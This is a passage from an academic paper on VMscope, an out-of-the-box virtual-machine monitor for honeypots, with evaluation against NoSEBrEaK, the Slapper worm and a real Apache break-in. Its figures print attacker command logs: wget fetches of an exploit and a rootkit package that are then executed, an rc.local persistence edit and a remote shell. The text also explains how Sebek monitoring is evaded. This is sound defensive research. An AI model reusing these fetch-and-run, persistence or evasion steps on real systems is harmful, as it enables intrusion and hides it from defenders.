steps used by the attacker, as well as the motivations behind the attack.

The effectiveness of using honeypots to obtain these insights heavily relies on the
monitoring capability on the honeypots that are supposed to be compromised and con-
trolled by the attacker or malware. Ideally, the monitoring should be 1) transparent to
the honeypot; 2) tamper-resistant even after the attacker gains access and takes full con-
trol of the honeypot; and 3) capable of capturing and understanding honeypot system
internal events such as system calls. Unfortunately, none of the existing honeypot mon-
itoring approaches achieves all the above three goals at the same time. Note that based
on the locations of sensors, existing honeypot monitoring approaches can be classified
into two main categories: internal and external. The external monitoring remains in-
visible to the monitored honeypot but at the cost of losing the capability to capture
the internal system events such as system calls executed. On the other hand, the inter-
nal monitoring deploys sensors inside the monitored honeypots and hence provides a
semantic-rich view on various aspects of system dynamics. However, the sensors inside
the honeypots could be detected, subverted and disabled by the attacker. For example,
the de-facto high-interaction honeypot monitoring tool – Sebek [4] – could be com-
pletely disabled by NoSEBrEaK [35].

In this paper, we present a virtualization-based monitoring system called VMscope
that gives us the same deep inspection capability as existing internal monitoring tools
(e.g. Sebek) while being as transparent and tamper-resistant as existing external mon-
itoring tools (e.g. a network sniffer). By deploying itself completely outside the VM-
based honeypot (we call “out-of-the-box”monitoring in the rest of this paper), VMscope
is tamper-resistant and transparent to the monitored system. Further, without requiring
any modification to the monitored system, VMscope runs at the virtual machine moni-
tor (VMM) layer and is capable of observing, recording, and understanding the parame-
ters and semantics of various VM-internal system events including system calls. This
gives us the same monitoring capability as existing internal sensors even though we do
not have any sensors inside. As an example, once a sys read system call of a VM is
observed, VMscope will examine from outside the VM the corresponding system call
parameters and understand which file is being opened for this read operation and what
will be the return value or content after the system call is completed. Furthermore, these
semantic-level information will be collected and stored outside the vulnerable honeypot
system, which gives us better tamper-resistance than other conventional approaches.

More specifically, to enable “out-of-the-box” monitoring, VMscope leverages and
extends one key software-based virtualization technique 1 called binary translation (im-
plemented in VMware [16], VirtualBox[14], and QEMU [29]) to transparently observe,

1 In this paper, we focus our discussion on software- based VMM implementations and leave
the VMscope support for hardware-based virtualization as our future work.
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interpret, and record interested VM events at runtime. Note there exists another com-
parable virtualization technique called para-virtualization (implemented in Xen [27]
and User Mode Linux [34]), which, however, is undesirable for VMscope purposes.
The reasons are: (1) Binary translation allows us to transparently support legacy OSes
in VMs without any modification on the guest OSes while para-virtualization requires
modification and recompiling of the guest OSes. Such a modification of the VM-based
honeypot not only violates the transparency requirement but also introduces the risk of
being detected and subverted; (2) Para-virtualization requires the access and modifica-
tion of guest OS source code, which could significantly limit our choices of deploying
commodity (commercial) OSes as honeypots. We point out that this design choice dif-
ferentiates our approach from earlier Xen or UML-based system monitoring approaches
[25,40,53]. In the meantime, being deployed completely “out-of-the-box”, VMscope
faces additional challenges, known as the “semantic gap” [31], when interpreting VM-
internal events and state (Section 3).

To demonstrate the feasibility of “out-of-the-box” monitoring, we have implemented
a proof-of-concept prototype based on an open-source binary translation-capable VMM
prototype called QEMU [29]. Our experimental results with real-world honeypot de-
ployment as well as the comparison with the de-facto honeypot monitoring tool (i.e.,
Sebek [4]) show that VMscope can achieve the same deep inspection capability as in-
ternal monitoring tools while, at the same time, being transparent and tamper-resistant
against advanced attacks (e.g., NoSEBrEaK [35]).

The rest of the paper is organized as follows: Section 2 examines existing approaches
in honeypot monitoring. Section 3 and 4 present the design and implementation of VM-
scope respectively. In Section 5, we show the experimental results with real-world hon-
eypot incidents as well as the comparison between VMscope and Sebek. Section 6
reviews related works. Finally, we conclude in Section 7.

2 Traditional Honeypot Monitoring

Honeypot monitoring is one essential component in any honeypot deployment. Since
VMscope is designed to monitor high-interaction VM-based honeypots, we briefly
overview existing approaches that are used for high-interaction honeypot monitoring.

There exist two traditional ways to monitor honeypots: the network-based (i.e. exter-
nal) approach and the host-based (i.e. internal) approach. The network-based approach
uses traffic sniffers such as TCPDUMP [6] and Ethereal [2] to record every network
packet sent to or received from the monitored honeypot; The host-based approach, on
the other hand, uses specialized sensors deployed inside the honeypot to monitor and
record interesting system events (e.g., specific system calls). Note that these two ap-
proaches are complementary and each one has its own unique strengths and weaknesses.
The network-based approach is more transparent as the sniffers are deployed outside of
the vulnerable honeypots. However, it is unable to observe honeypot internal events.
Furthermore, its effectiveness is greatly minimized if the monitored network traffic is
encrypted. In comparison, with internally deployed sensors, the host-based approach
is able to observe the system events of the monitored honeypot. However, sensors de-
ployed inside the honeypot could be detected and tampered with by the attacker.
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Here we choose to use Sebek [4] – the de-facto honeypot monitoring tool that has
been widely used in a variety of high-interaction honeypot systems [9,39] – to illustrate
how honeypots are monitored in practice. In principle, Sebek works as follows:

– Firstly, Sebek installs itself as a loadable kernel module that will wrap or replace a
number of sensitive system calls in the original OS kernel with its own implemen-
tations. For example, the latest Sebek development (version 3.2.0b) for Linux ker-
nel 2.6 is interested in the following 11 system calls: sys open, sys read, sys readv,
sys pread64, sys write, sys writev, sys pwrite64, sys fork, sys vfork, sys clone,
sys socketcall. To intercept these system calls, the corresponding system table en-
tries will be overwritten by Sebek with its own system call handlers.

– Secondly, if the replacement is successful, the system call handlers provided by Se-
bek will intercept subsequent invocations of these replaced system calls and record
their arguments as well as other context information (e.g., UID or PID). After that,
Sebek’s system call handlers will invoke the original system call service routines to
complete the requested service.

– Finally, the collected information about the invoked system calls will be stealthily
sent to a remote trusted Sebek server so that we can analyze the collected system
call information in real-time or save the log for later investigation.

In order to reliably monitor potentially malicious activities happening inside the hon-
eypot, internal sensors such as Sebek need to be stealthy and tamper-resistant. Unfor-
tunately, any sensor inside the honeypot could be potentially detected, subverted, or
evaded by sophisticated attackers after they gain complete control over the honeypot.
For example, it has been successfully demonstrated [53] that, after the compromise of
a Sebek-based honeypot, attackers can detect the existence of Sebek by identifying a
variety of Sebek-introduced “anomalies”: (1) the modification on the system call table
by Sebek; (2) the inconsistency in the statistics (e.g., transmit-counters) of the Ethernet
device on the system caused by Sebek; and (3) the existence of a hidden Sebek module
in the honeypot. Furthermore, once identified, Sebek can be disabled or circumvented.
For example, an attacker can choose to re-overwrite (e.g., unsebek [32]) those system
call entries that are hooked by Sebek or use other alternative system calls (e.g., NoSE-
BrEaK [35]) instead of those Sebek-hooked system calls (e.g., sys read) to achieve the
same goal. Further information about Sebek as well as possible attacks can be found in
[4,35,53].

In summary, while existing host-based (i.e. internal) honeypot monitoring approaches
are capable of observing and interpreting the honeypot’s system internal events, they are
fundamentally limited in achieving transparency and tamper-resistance due to the inter-
nal deployment of sensors inside the honeypot. Existing network-based (i.e. external)
honeypot monitoring approaches are transparent, invisible and tamper-resistant, but they
could not monitor honeypots’ system internal events. In other words, currently available
honeypot monitoring approaches would force the honeypot designer to either sacrifice
the tamper-resistance for the deep inspection capability or sacrifice the deep inspection
capability for the tamper-resistance of honeypot monitoring. In the rest of this paper, we
show via VMscope that it is indeed possible to achieve transparency, tamper-resistance
and deep inspection capability at the same time when monitoring honeypots.



202 X. Jiang and X. Wang

Log

Apache Firefox

Operating System (OS)

A Honeypot

Sebek

(a) The traditional Sebek-based approach

Log

VMscope

Apache Firefox

Guest OS

A Virtual Honeypot

Virtual Machine Monitor (VMM)

(b) The proposed VMscope-based approach

Fig. 1. A comparison between the traditional Sebek-based approach and the proposed VMscope-
based approach in honeypot monitoring

3 VMscope

In this section, we present the VMscope design, which enables the deep inspection of
VM-based high-interaction honeypots without deploying any sensors inside.

3.1 Placement of Event Logging

Figure 1 shows the main difference between VMscope and traditional (internal) hon-
eypot monitoring tools (Sebek is chosen as the representative example). Unlike the
traditional approach where the monitoring tools are deployed “inside the box”, the
placement of VMscope is unique in that it is deployed outside of the monitored VMs.
Such “out-of-the-box” placement is desirable because it leverages the isolation prop-
erty from virtual machines to strictly confine processes running inside the VM such
that, even if they are compromised by attackers, it will be hard, if not impossible, to
compromise the VMscope outside of the VM. In the meantime, since VMscope runs
underneath the VM-based honeypots, it has access to all VM-internal system state and
can intercept every network packet from/to the VM, indicating that it can still reliably
monitor the system dynamics of a honeypot even after being compromised. In com-
parison, the effectiveness of existing tools including Sebek, which are deployed inside
the monitored honeypots, becomes susceptible after the honeypot is compromised. The
reason is that they could also be identified, circumvented, or compromised. The devel-
opment of unsebek [32] as well as disclosed ptrace-related vulnerabilities [19] 2 clearly
demonstrate this weakness.

The proposed VMscope approach also has another benefit in the way of collecting
and saving honeypot logs. In order to protect the integrity and trustworthiness of col-
lected honeypot logs, they can not be stored inside the vulnerable honeypot systems
and typically should be securely transferred to a remote trusted location. The network-
based transmission is unavoidable for traditional monitoring tools that are deployed
“inside the box”. Unfortunately, such transmission behavior can lead to certain side-
effects (e.g., the transmit-counters of a particular NIC), some of which can be exploited
by attackers to identify the very internal existence of these honeypot monitoring tools
and cascadingly compromise them [53]. In comparison, VMscope directly stores the
collected log data at the host domain, which is outside the monitored honeypot.

2 In Section 5.1, we will describe a honeypot incident that exploits one ptrace vulnerability to
completely compromise the honeypot.
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3.2 Interception and Interpretation

The “out-of-the-box” deployment does significantly improve the tamper-resistance of
VMscope. However, it also poses significant challenges on the interception and inter-
pretation of interesting system call events that are currently happening inside monitored
VMs. For instance, the external placement prevents VMscope from hooking system
calls by directly overwriting certain entries in the VM’s system call table.

The distinctions between two mainstream virtualization techniques (Section 1) are
useful in understanding the well-known “semantic gap” challenge [31] when observing
and interpreting the internal VM state/event at the VMM layer. Particularly, the modi-
fication on the guest OS source code by para-virtualization-based approaches naturally
enables the interpretation of the VM state as the modified components are already a part
of the guest OS kernel. However, the transparent support from binary translation-based
approaches unintentionally creates a significantly larger gap in semantically understand-
ing VM-internal state or events as the VMM is now completely running “out of the box”.

Our approach leverages and extends the original binary translation technique to se-
lectively rewrite other “interesting” instructions, in addition to those non-virtualizable
instructions (e.g., POPF). More precisely, to intercept system call events of a VM, we
are also interested in translating those system call instructions (e.g., int $0x80 or sysen-
ter/sysexit) that are being invoked by internal processes.

Moreover, the semantics implicitly associated with these system call instructions are
used for their interpretation. Specifically, upon the interception of an interesting sys-
tem call event, the corresponding interpretation code will be executed to understand
and collect the associated context information to resolve the semantic gap. Note that,
similar to the interception, the interpretation code is also running in the context of vir-
tual machine monitor (VMM), not inside the guest VM. As such, VMscope instantiates
a general methodology known as virtual machine introspection (VMI) [38], which al-
lows to analyze software running in a VM by examining its system state from outside
the VM. For example, upon the interception of a sys execve event, we need to find out
which new process is being launched. The answer lies in the arguments or the context of
this system call. Specifically, for the sys execve system call, the EBX register contains a
memory address that points to the string of process file name; the ECX register has the
memory address of an array of strings with all command line arguments (i.e., argv[]);
and the EDX register contains the memory address of another array of strings with all
environment settings (i.e., envp[]). Finally, we would like to point out that every above-
mentioned memory address is a virtual address, which is specific to an internal process
and would be different for different processes. As such, its interpretation requires the
traversal of the page table of that particular process running inside the VM. We defer
the technical discussion to Section 4.

3.3 Selection of System Events

It is important to select a right set of system events which could provide important
“leads” to understand attackers’ behavior. Since the main way for an attacker to inflict
damages on a system is by making system calls, we choose system call events as the
main source for honeypot logging. However, we do point out that VMscope is capable
of capturing other system-wide events. For example, the context switch event is useful
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to identify the moment when a new process is being switched in for execution. Such
event is valuable if additional monitoring events should be activated just for a particular
process. In this paper, we only examine the application of collecting system call events
for honeypot monitoring purposes. The exclusive focus on system call events is con-
sistent with existing approaches [39,33] for honeypot log collection. Particularly, the
fact that Sebek only replaces 11 system calls (Section 2) actually implies that VMscope
may only need to intercept these 11 system calls.

However, we notice that a system call could be somehow substituted with other sys-
tem calls to achieve the same goal. Consequently, the log with an incomplete set of
system calls could not reveal a complete picture of attack behavior. Moreover, if these
alternative system calls are not selected for interception, they can be leveraged by at-
tackers to inflict their damages without being logged, hence significantly undermining
the honeypot value. For example, the sys read system call is commonly used to read
a file’s content and this event is mainly intercepted by Sebek to provide important in-
formation about attackers, including the keystrokes that are not possible to uncover by
only analyzing encrypted network communication. A program or a malware can al-
ternatively call sys mmap or sys mmap2 to map the file into memory and directly use
memory pointers to access the file content without being logged.

As another example, if a file is being opened (sys open) and its content will be
read (sys read) and written (sys write) to a network socket, a single system call, i.e.,
sys sendfile, can be used to consolidate these two system calls sys read and sys write
without undermining the functionality. In fact, a countermeasure tool called NoSE-
BrEaK [35] has already been developed to effectively circumvent Sebek – the de-facto
honeypot monitoring tool. More specifically, NoSEBrEaK could exploit and control a
honeypot monitored by Sebek in such a way that any commands issued through NoSE-
BrEaK will not be captured by Sebek. Considering these possible attacks, VMscope
is designed to capture all system call events. We will present the comparison between
VMscope and Sebek more thoroughly in Section 5.

Finally, we point out that VMscope captures all system call events during the lifetime
of a monitored honeypot, starting from the first moment when it is booted to the last
moment it is shut down. This is different from most of existing approaches that need
a working normal system before activating the log collection. As such, there exists a
window of vulnerability within which system call events will not be monitored and
attackers could potentially exploit this vulnerability window to invoke certain backdoor
services without being noticed. As an example, the loadable kernel module of Sebek
is not able to capture those system call events executed during the system bootstrap
phrase. We point out that some stealthy rootkits such as Suckit [56] is able to manipulate
the system bootstrap process to start some backdoor services before launching logging
processes. This interesting capability of VMscope can be uniquely used to detect any
anomaly during the system’s bootstrap process.

4 Implementation

We have implemented a proof-of-concept system based on an open-source emulation-
based VM implementation called QEMU [29]. The two main reasons why we choose
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QEMU are: (1) It implements a basic approach of performing dynamic binary transla-
tion, which is leveraged and extended by VMscope to observe and interpret interesting
system call events from outside the VM; (2) Upon the observation of VM system events,
we need to embed our own interpretation logic to extract related context information.
The open-source nature of QEMU provides great convenience and flexibility in making
our implementation possible.

4.1 Interception

To better understand how the interception of VMscope works, we need to first under-
stand the dynamic binary translation technique of QEMU [29]. We briefly summarize
it as follows: (1) Firstly, QEMU splits each target CPU instruction into fewer simpler
instructions called micro operations, each of which is implemented by a small piece of
native C code and compiled by GCC to an object file; (2) The generated object file is
then used by a compile time tool called dyngen[29] to generate a dynamic code gener-
ator. The dynamic code generator will be invoked at runtime to dynamically translate
target instruction sequences into executable host code in the form of basic blocks.

To speed up the process of translating a sequence of target code, QEMU keeps trans-
lating the target code sequence until it encounters an jmp instruction (including other
variants such as je/jne/jcxz/ljmp instructions) or an instruction that will essentially mod-
ify the target CPU state in a way that cannot be deduced at translation time [29]. One
such example is the instruction – repz stos %ax,%es:(%di), which will modify the zero
flag (ZF) in the target CPU state. Another example is the system call instruction in
Linux – int $0x80, which will trigger the transition from the user mode to the kernel
mode and directly modify the target CPU state. Another interesting trick of QEMU is
to take advantage of the native compiler to construct the target code sequences auto-
matically and the chore of each individual instruction translation largely occurs at the
compilation time, instead of at the runtime.

To log all system call events, VMscope leverages and extends this binary translation
capability to intercept all system call instructions, namely int $0x80 and sysenter/sysexit.
More specifically, before a system call instruction is executed, a VMscope-provided
callback routine will be invoked to collect the associated context information (Section
4.2). In addition, right after the system call is completed, another callback routine will
be invoked to obtain the return value, which essentially requires the interception of the
instruction immediately following the system call instruction (simplified as the post-
syscall instruction). Considering the fact that the actual execution of a system call in-
struction will trigger the transition from the user mode to the kernel mode, we need to
keep a local copy of the location of the post-syscall instruction. 3 Once the post-syscall
instruction is being translated, the interpretation code should be invoked again to collect
the return value(s) of the previous system call instruction.

Intuitively, we can have a single VM-wide variable to hold that location. Unfortu-
nately, the multitasking support in modern OS kernels makes it more complicated. Con-
sidering the following scenario: process A is opening a local file with the system call
sys open. Before this system call returns, a context switch occurs and another process

3 The local copy is not needed for the system call instruction pair sysenter/sysexit as the in-
struction sysexit can uniquely identify itself.
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B is chosen for execution, which leads to the return from a previous sys read system
call (of process B). To correctly interpret this return value, we need to correlate it with
the corresponding system call from the same process. As such, we need to maintain a
per-process memory area at the VMM layer to keep this syscall context information,
which essentially requires the capability of VMM to keep track of the lifetime of run-
ning processes.

It is interesting to point out that our initial prototype avoids this problem by exploit-
ing the way how the kernel-level process stack is organized and utilized. Specifically,
for each process, Linux consolidates two different data structures – the process descrip-
tor thread info4 and kernel-level process stack – in a single per-process memory area
called thread union (defined in the include/linux/sched.h).

union thread_union {
struct thread_info thread_info;
unsigned long stack[2048]; /* 1024 for 4KB stacks */

};

The length of this memory area is usually two page frames (8, 192 bytes or 8K), which,
for efficiency reasons, are stored consecutively with the first page frame aligned to a
multiple of 213. Based on the observations that the current kernel-level stack pointer is
maintained in the ESP register and the size of 8K contains enough space for the stack
and the thread info data structure, we could choose to store the location of the post-
syscall instruction right after the thread info data structure. This approach does bring
two advantages: (1) Firstly, it avoids the need to keep track of the lifetime of an internal
process; (2) Secondly, we can efficiently access the post-syscall location value5 through
the ESP register, i.e., ESP&(8192-1)+sizeof(struct thread info). However, considering
that the variable is stored inside the guest OS kernel and therefore could be poten-
tially manipulated by attackers, our current prototype maintains them in the per-process
memory area at the VMM layer, which is outside of the VM.

4.2 Interpretation

The correct interpretation of intercepted system call events requires the understanding
of the calling convention on how to invoke a system call. On Linux, it will pass system
call arguments mainly through registers. For example, the system call number is kept in
the EAX register and, for system calls with no more than 6 arguments, the arguments are
passed in EBX, ECX, EDX, ESI, EDI, and EBP registers, respectively. For system calls
with more than 6 arguments, they are simply pushed on the stack and a pointer to the
block of arguments is passed in the EBX register. After the system call is completed,
the result will be returned in the EAX register. Note that the placement of VMscope
allows us to observe the content of these registers.

4 For Linux kernel 2.4 versions, the process control block structure task struct is packed together
with the kernel level stack into the per-process memory area.

5 For Linux kernel 2.4 versions, the post-syscall location value can be calculated as ESP&(8192-
1)+sizeof(struct task struct).
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PID 675 (           httpd)[sys_accept  102]: socket 3
PID 675 (           httpd)[            102]: 12                                        [syscall return]
PID 675 (           httpd)[sys_getskna 102]: socket 12
PID 675 (           httpd)[            102]: 0 family  2; 192.168.1.2:80               [syscall return]
...
PID 675 (           httpd)[sys_poll    168]: nfd 1; timeout 300000;  fds[0].fd 12 (events 1);
...
PID 675 (           httpd)[            168]: 1(nfds 1) fds[0].fd 12 (revents 1);       [syscall return]
PID 675 (           httpd)[sys_read      3]: 12
PID 675 (           httpd)[              3]: (GET /12345.html HTTP/1.1  Host ...)440   [syscall return]
PID 675 (           httpd)[sys_stat64  195]: /var/www/html/12345.html
PID 675 (           httpd)[            195]: 0                                         [syscall return]
PID 675 (           httpd)[sys_open      5]: /var/www/html/12345.html; flags 0
PID 675 (           httpd)[              5]: 13                                        [syscall return]
...
PID 675 (           httpd)[sys_writev  146]: fd 12; iov[0].base 0x08223f58 len 277; iov[0] (HTTP/1.1 200 OK..)
PID 675 (           httpd)[            146]: 277                                       [syscall return]
PID 675 (           httpd)[sys_sendfil 187]: out-fd 12; in-fd 13
PID 675 (           httpd)[            146]: 1627                                      [syscall return]
...
PID 675 (           httpd)[sys_shutdow 102]: socket 12 (SHUT_WR)

Process ID  (   Process Name)[System Call   #]: System Call Arguments

Fig. 2. VMscope log excerpt showing how the Apache web server (Redhat 8.0) responses to an
incoming request for the /var/www/html/12345.html

In addition to reading the numerical values of these registers, VMscope will also
correlate them with run-time information to identify the associated semantic meaning.
As an example, for a sys open system call event, the EBX register contains the mem-
ory address pointing to the file name that is intended to open. As mentioned earlier,
this memory address is a virtual address and it is specific to the internal monitored
process. As such, after obtaining the EBX content, VMscope further needs to traverse
the page table related to the internal process to find the actual file name. Since VMscope
is running outside the VM, the actual traversal requires a slightly different memory ad-
dressing scheme. We accomplish this by externally traversing the page table related to
the internal process responsible for the intercepted system call. Note that the page ta-
ble base address can be located through the CR3 control register. To protect the virtual
memory process space from each other, each process will have its own, unique page
directory and Linux loads the CR3 register for the new process that is switched in for
execution on every context switch.

As a concrete example, Figure 2 shows the log excerpt collected when the Apache
web server (version 2.0.40) serves an incoming request that asks for a web file named
12345.html. The collection of these system call events enables the understanding on the
dynamics of the Apache web server. More specifically, the sys accept6 system call is
used to accept the incoming TCP 3-way handshake request and the sys poll is used to
wait for actual HTTP request content. The arrival of the HTTP request will be followed
by a sys read system call and the payload is then interpreted to find out the intent of
the client. In this case, it is requesting for the 12345.html file through the HTTP/1.1
protocol. The web server checks the existence of the requested file (via sys stat64) and
then opens it (via sys open). Instead of directly reading the file content (via sys read)
and writing the content back to the client (via sys write), the server directly uses the

6 There exists a top-level network-related system call, i.e., sys socketcall, which supports a
number of sub-commands such as socket, bind, connect, listen, accept, getsockname, getpeer-
name, socketpair, send, recv, sendto, recvfrom, shutdown, setsockopt, getsockopt, sendmsg,
and recvmsg etc.
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sys sendfile to send the file content. Finally, the connection with the client is shut down
(via sys shutdown).

Our current prototype supports 259 system calls (with 2835 lines of code implemen-
tation) and will interpret the semantic meaning of their arguments and return values.
Note that the way to interpret the return value is the same as the way in interpreting the
system call under the context of the corresponding system call. As pointed out earlier,
it is complicated by the multitasking support in modern OS kernels because potential
context switches require VMscope to remember these context information. Similar to
the way in handling the post-syscall instruction, we store the associated system call
context information (e.g., EBX, ECX, etc) in the per-process memory area at the VMM
layer when processing the system call instructions. Once the system call is returned,
VMscope can conveniently examine its context information from the per-process mem-
ory area and then interpret the return value accordingly. As shown in Figure 2, VM-
scope is able to print out the client request payload (e.g., GET /12345.html HTTP/1.1
Host...) that is not contained in the system call return value – the EAX register. Also
notice that for each intercepted system call event, VMscope will collect the associated
process information such as PID and process name. Note that these information are
kept in the task struct data structure, which can be deducted from the first member of
the thread info data structure.

5 Evaluation

In this section, we evaluate the effectiveness and efficiency of VMscope. In particular,
we conduct two sets of experiments (Section 5.1) to show: (1) How advanced intru-
sions that successfully evade internal logging can still be captured by VMscope; and
(2) Whether the collected log by VMscope is sufficient in practice to reconstruct de-
tailed attackers’ behavior. We present performance measurement results in Section 5.2
and discuss possible limitations in Section 5.3.

5.1 Effectiveness

Experiments with NoSEBrEaK. VMscope advances existing honeypot monitoring
techniques by eliminating the need of installing logging sensors inside the honeypots
while maintaining the same deep inspection capability as traditional internal honeypot
monitoring tools. To demonstrate this capability, we perform a number of experiments to
compare the effectiveness of VMscope and Sebek, which is the de-facto honeypot mon-
itoring tool, especially under advanced attacks. More specifically, we choose a recent
development of NoSEBrEaK that is able to maintain its tight control on a compromised
honeypot system while all of its commands can circumvent the logging by Sebek.

We prepare a Linux-based honeypot with Sebek 3.2.0b installed to monitor the
system dynamics. Similar to the NoSEBrEaK attack outlined in [35], we introduce a
vulnerable CGI program that will be exploited to load and execute a binary from the
network. During the attack, a binary consisting of the Python runtime environment as
well as a specialized kebes[35] server program is launched after the exploitation. In
this experiment, we simply start the server program and use the corresponding client to
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The NoSEBrEaK client

The Sebek server

Linux Fedora Core 5 Honeypot 
with Sebek installed

(a) Sebek versus NoSEBrEaK

(b) VMscope versus NoSEBrEaK

Fig. 3. The comparison of honeypot monitoring results from Sebek and VMscope when under the
NoSEBrEaK attack: the VMscope log shows related sys execve events
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communicate with it through an AES-based encryption channel. The secure communi-
cation is set up by following a standard Diffie-Hellman key exchange procedure, which
avoids the need of pre-shared secrets between the client and the server.

Figure 5.1 shows the screenshot of the experiment, which has three xterm windows.
The top window (with the black background color) is a Linux honeypot running Fedora
Core 5; the middle one (with the white background color) shows the log output from
Sebek that is pre-installed inside the honeypot; the bottom one (also with the white
background color) is the NoSEBrEaK-based attack window after launching the kebes
client, which communicates with the server program and gains access to the honeypot
system. As shown in the bottom window of Figure 5.1, the NoSEBrEaK-based attack
leverages the kebes communication channel to stealthily upload and install a kernel
level rootkit named adore-ng [7]. The rootkit is used to hide the existence of related
adore-ng rootkit files or processes. After that, an interactive shell is created and two
shell commands – /usr/bin/id -a and /bin/hostname – are subsequently executed. It is
interesting to note that the middle Sebek window does not record any activities about
this NoSEBrEaK attack, indicating that it has been successfully circumvented.

In comparison, we show in Figure 5.1 the VMscope log entries related to the same
attack. The result shows that VMscope successfully records every command executed,
starting from the very beginning of setting up the Sebek module, i.e., the command
/sbin/insmod ./iptables-nat.ko a151=129.174.42.44 a134=00:18:8b:36:94:e0 a121=
1101 a62=1101 a142=eth0 a73=1 a92=1 a95=0 a107=1111 a43=1 that hides the
Sebek module as iptables-nat.ko, to the very end of two additional shell commands –
/usr/bin/id -a and /bin/hostname. In the middle of Figure 5.1, it also records those com-
mands involved in installing the adore-ng rootkit as well as how the rootkit is instructed
to hide malicious files. This direct comparison clearly shows the unique advantages from
VMscope, which can not be provided by existing honeypot monitoring tools.

Experiments with the Slapper worm. The previous experiment demonstrates the ca-
pability of VMscope to reliably record stealthy attackers’ behavior. In the following
experiment, we aim to show the sufficiency of VMscope logs in reconstructing attack-
ers’ behavior. To this end, we choose a well-known Slapper worm attack [51]. This
experiment is conducted in a local isolated lab environment.

Instead of showing the detailed VMscope log (> 190, 000 system call events) about
the worm infection, we choose to show in Figure 4 the contamination graph inflicted on
the compromised system by the worm. In the contamination graph, an oval represents
a running process, a rectangle represents a file, and a diamond represents a network
socket. Inside the oval are the PID and name of the process. Note that the contamination
graph is constructed by following the same algorithm as outlined in [42].

To show the sufficiency, we compare our result with a detailed log file collected
by an internal (open-source) system call tracking tool called syscalltrack [5] as well
as another detailed Slapper worm analysis [51] and confirm that Figure 4 reveals all
contaminations by the Slapper worm. Specifically, our log shows that the Slapper worm
infection mainly involves three steps:

Step 1: It first exploits a buffer overflow vulnerability [51] in an httpd worker process
(PID:1691 in this experiment) to obtain system access to the vulnerable system. As
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Step 1: Exploiting the Apache web
server vulnerability

the Slapper worm binary
Step 2: Uploading and generating

1691: httpd

Step 3: Starting next round of propagation

/bin/bash −i

1691: httpd

fd 5 after accept

inet sock(80)

1710: /bin/cat

1709: /bin/rm −rf /tmp/.bugtraq.c

1711: /usr/bin/uudecode −o /tmp/.bugtraq.c /tmp/.uubugtraq

1712: /usr/bin/gcc −o /tmp/.bugtraq /tmp/.bugtraq.c −lcrypto

1718: /tmp/.bugtraq 192.168.10.5

/tmp/.uubugtraq

/tmp/.bugtraq.c

1713: /usr/lib/gcc−lib/i386−redhat−linux/2.96/cpp0

1714: /usr/lib/gcc−lib/i386−redhat−linux/2.96/cc1

1715: /usr/bin/gcc 1716: /usr/lib/gcc−lib/i386−redhat−linux/2.96/collect2

/tmp/cclyQ5n7.i

/tmp/ccJ7k0zf.s

/tmp/ccxSaoda.ld

1715(execve): /usr/bin/as

1717: /usr/bin/ld

/tmp/cczmR1Su.c

/tmp/.bugtraq

/tmp/cccAZX4s.o

/tmp/cc8roxxP.o

   1691: /bin//sh

  1691: /bin/bash −i

    1715: /usr/local/bin/as    1715: /bin/as

Fig. 4. Slapper worm infection reconstructed from VMscope log

indicated by the execution of the command (/bin/bash -i), the exploitation is successful
and it leads to the creation of a remote shell.

Step 2: From the spawned remote shell, it further uploads a uuencoded[13] version of the
worm source code to the compromised system and then decodes it (/usr/bin/uudecode -o
/tmp/.bugtraq.c /tmp/.uubugtraq), locally compiles (/usr/bin/gcc -o /tmp/.bugtraq /tmp/
. bugtraq.c -lcrypto) it to generate the worm binary code.

Step 3: After that, the binary code is launched (/tmp/.bugtraq 192.168.10.5) to start
next-round of propagation. Further investigation shows that the Slapper worm is rather
sophisticated in creating a customized peer-to-peer attack network from these com-
promised machines. The IP address involved in this step is the one that infected this
vulnerable machine, not the victim IP address chosen for next-round of infection.

Experiments with honeypots. We also deployed a number of honeypots in the wild to
demonstrate the effectiveness of VMscope in monitoring real-world attacks. In the fol-
lowing, we choose one representative incident and describe how VMscope effectively
reveal the detailed attack behavior.

This honeypot incident is related to an OpenSSL vulnerability [18] in the Apache
web server (version 1.3). It was deployed at 23:00pm, Jan. 26th, 2007 and then com-
promised 3 hours later. From the collected log, a TCP connection heading for port 443
is firstly established. The connection is used by the attacker to send a specially-crafted
chunk-encoded HTTP request. The request will cause a buffer overflow in the Apache



212 X. Jiang and X. Wang

PID 1562 (             sh)[sys_execve  11]: bash -i
...
PID 1572 (           bash)[sys_execve  11]: uname -a
PID 1573 (           bash)[sys_execve  11]: id
PID 1574 (           bash)[sys_execve  11]: w
...
PID 1632 (           bash)[sys_execve  11]: ls
PID 1633 (           bash)[sys_execve  11]: wget xxxxxxx.xx.ro/soft/expl
PID 1634 (           bash)[sys_execve  11]: chmod +x expl
PID 1635 (           bash)[sys_execve  11]: ./expl
...
PID 1674 (             sh)[sys_execve  11]: wget xxxxxxx.xx.ro/soft/naky.tgz
PID 1676 (             sh)[sys_execve  11]: tar -zxvf naky.tgz
PID 1679 (             sh)[sys_execve  11]: chmod +x *
PID 1680 (             sh)[sys_execve  11]: ./install
...
PID 1882 (           bash)[sys_execve  11]: mkdir ".   "
PID 1883 (           bash)[sys_execve  11]: wget www.xxxxxxxx.org/vulturul/bnc.tgz
PID 1886 (           bash)[sys_execve  11]: tar xvfz bnc.tgz
PID 1888 (           bash)[sys_execve  11]: rm -rf bnc.tgz
PID 1889 (           bash)[sys_execve  11]: mv psybnc crond
PID 1892 (           bash)[sys_execve  11]: crond
PID 1894 (           bash)[sys_execve  11]: pico /etc/rc.d/rc.local
...

1. Gaining a regular
 account: apache

2. Escalating to the 
   root privilege

3. Installing a set
    of backdoors

4. Installing an IRC 
   bot runnable even
    after reboot

Process ID  (   Process Name)[System Call   #]: System Call Arguments

Fig. 5. VMscope log of intruder activities after Apache break-in

web server, resulting in the execution of malicious code, which is also contained in the
request. In this incident, the code spawns a UNIX shell using the exploited Apache ac-
count. VMscope records all of related system call events and, particularly, we show in
Figure 5 the subsequent keystrokes issued by the attacker after the exploitation.

We observe that after obtaining the system access by exploiting the Apache vulnera-
bility, the intruder attempts to escalate into the root privilege by leveraging some local
vulnerability. The recorded keystrokes (Figure 5) show that the intruder downloads a
tool named expl, which turns out to exploit the ptrace [19] vulnerability to obtain the
root privilege. After that, the attacker begins to run a customized script and install a
pre-packaged package named naky.tgz. Later forensic analysis shows that the package
contains a trojaned ssh daemon, two infamous kernel-level rootkits – adore and knark,
and a log cleaner. The trojaned ssh daemon will directly give the intruder a root shell
after authentication. After executing the customized script, the intruder also downloads
a software package bnc.tgz, which contains a bot software named psybnc. The attacker
renames the bot software as crond and modifies a system-wide configuration file, i.e.,
/etc/rc.d/rc.local, so that the trojan service will be restarted even after machine reboot.

5.2 Performance

